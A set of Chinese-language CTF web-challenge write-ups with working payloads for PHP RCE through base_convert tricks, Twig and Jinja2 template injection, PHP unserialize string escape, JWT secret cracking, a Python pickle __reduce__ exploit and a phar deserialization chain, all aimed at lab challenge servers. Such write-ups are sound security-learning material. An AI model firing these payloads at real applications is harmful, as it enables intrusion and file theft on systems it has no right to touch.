这题主要是通过给的那些函数来进行一个RCE,其中值得注意的就是进制转换函数base_convert()
、dechex()
了,我们的主要目的是造出来一个_GET
,然后再通过这个来传入参数,进行RCE。而通过base_convert()
函数可以进行任意进制间的一个转换,也就是可以构造出来任意的字符串,这里可以先通过一个base_convert()
函数造出来一个hex2bin
,然后通过dechex()
函数把十进制转换成16进制,然后通过hex2bin()
这个函数把该十六进制字符串转换成_GET
,然后通过白名单中一些比较短的字符串来传递参数,例如pi
、cos
,最终构造为
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
得到flag
在flag栏里面输入{ {1+1}}
,返回2,确认为SSTI漏洞,注入点也就是为存于Cookie中的user值。
然后输入{ {7*'7'}}
返回49,确认为Twig
模板,然后直接打即可,payload如下
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("cat /flag")}}
给了源码,输入/shrine/{ {7*'7'}}
返回7777777
,却认为Jinja2
的模板,但是不能直接打了,因为过滤掉了config
和self
。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里告诉我们flag在config里面
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
当我们需要获取配置信息时,需要获得current_app
这样的全局变量,即构造如下payload即可获得flag
/shrine/{
{url_for.__globals__['current_app'].config}}
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
//过滤掉一些关键字,并替换为空,可造成字符串逃逸
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
//存在变量覆盖
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先是根据提示访问phpinfo
发现了
所以要想办法读取这个文件,读取文件的话只能通过img_path
来传入路径,可惜如果是我们传入的img_path
,除了会被base_enconde
一次,还会被sha1
一次,导致最后读取的时候无法解密,文件读取不出来。但是这题做了一个过滤,把一些关键词过滤为空,这样就造成了字符串长度逃逸,而且存在一个变量覆盖,我们可以通过POST方法重新传入一个_SESSION["user"] = 'flagphphphhp'
这样类似的东西,使其造成过滤,造成字符串长度的一个逃逸,同时传入_SESSION[function]
为我们自己构造的值,也同时传入function=show_image
,从而进行一个反序列化字符串长度的逃逸以及一个变量覆盖,读取这个文件,payload如下,post以下数据
_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}&function=show_image
得到提示
替换一下base64的内容即可,同时这个base64以后的长度也是20,所以不用做更改,最后读取flag的payload:
_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}&function=show_image
看到这里说一定要买到6级号
而且这里有一个商品页面的查询,所以写个脚本跑一下,看看第几页有6级号买
import requests
from time import sleep
url="http://0928aa12-db7b-42f6-975e-cf52993ad3c6.node3.buuoj.cn/shop?page="
for i in range(0,500):
res = requests.get(url + str(i))
if 'lv6.png' in res.text:
print(i)
break
sleep(0.3)
print(i)
得到结果,180页,不过太贵了,买不起,但是抓包发现,折扣是咱们传过去的,直接修改即可,购买成功之后进入这样的一个页面。
然后发现cookie是jwt的,但是没有告诉我们SECRET_KEY
,所以用c-jwt-cracker
这个工具爆破一下看看,得到了SECRET_KEY
为1KUN
然后把cookie伪造成admin,不知道怎么回事,工具一直报错,然后使用jwt的在线网站伪造的
发现了源码的路径
在Admin.py
中发现一处pickle反序列漏洞
的地方
使用魔术方法__reduce__
来进行解题
import pickle
import urllib
class payload(object):
def __reduce__(self):
# return (eval,("__import__('os').popen('ls').read()",))
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
将生成的数据post过去即可获得flag,但是没搞懂的是为什么要传入这个_xsrf
的参数及其的值
下载文件的功能点存在一个任意文件下载漏洞,通过这个点来读取程序的php源码
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
在class.php
的File
类中存在一个可以读取文件的close()
方法,在User
类中的__destruct()
方法中调用了close()
方法,如果我们想要调用File->close()
,我们就要让User
类的$db = 'File'
。
通过把FileList
类的$files
赋值为File()
,然后又把File
类的$filename
赋值为flag.txt
,把User
类的$db
赋值为FileList
类,然后在进行文件删除的时候,php找不到FileList
类的close()
方法,从而调用__call
魔术方法,找到位于File
类中的close()
方法,从而调用,输出flag。注意上传文件的时候修改文件名为phar://1.png
。
//生成phar的代码
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}
$a = new FileList();
$b = new User();
$b -> db = $a;
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('1.txt', 'text');
$phar->setStub('');
$phar->setMetadata($b);
$phar->stopBuffering();
?>
一道社工题,不过由于时代久远,东西已经被删的差不多了,最后从其他人的wp中找到flag
flag{31010419920831481363542021127}
我这算社工吗?哈哈,应该算py。